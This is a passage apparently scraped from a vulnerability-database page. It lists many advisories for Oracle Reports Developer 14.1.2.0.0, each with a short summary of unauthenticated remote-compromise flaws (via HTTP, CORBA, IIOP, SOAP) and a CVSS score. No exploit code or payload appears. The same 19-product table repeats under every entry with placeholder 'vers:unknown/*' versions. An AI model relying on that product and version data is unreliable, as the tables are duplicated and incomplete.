vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 enables unauthenticated remote attackers to access, modify, or delete data and cause denial of service, with a CVSS 3.1 base score of 9.4.
9.4 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with network access to fully compromise the product, rated with a CVSS 3.1 base score of 8.8.
8.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated remote attackers to fully compromise systems via CORBA, with a CVSS 3.1 base score of 9.8 indicating severe impacts on confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 enables unauthenticated remote attackers to gain unauthorized access, modify data, or cause partial denial of service via SOAP, with a CVSS 3.1 base score of 8.6.
8.6 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with network access to manipulate critical data, rated with a CVSS 3.1 base score of 9.3.
9.3 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 enables unauthenticated remote attackers to modify or delete data and cause denial of service, with a CVSS 3.1 base score of 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated remote attackers to fully compromise systems via CORBA, with a CVSS 3.1 base score of 9.8 indicating severe impacts on confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 via IIOP has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated network attackers via SOAP to create, delete, or modify critical data, with a CVSS 3.1 base score of 9.1 indicating high confidentiality and integrity impact.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Reports Developer 14.1.2.0.0 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Reports Developer 14.1.2.0.0 allows unauthenticated attackers with network access to fully compromise the product, with a CVSS 3.1 base score of 9.6 indicating severe risks to confidentiality, integrity, and availability.
9.6 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
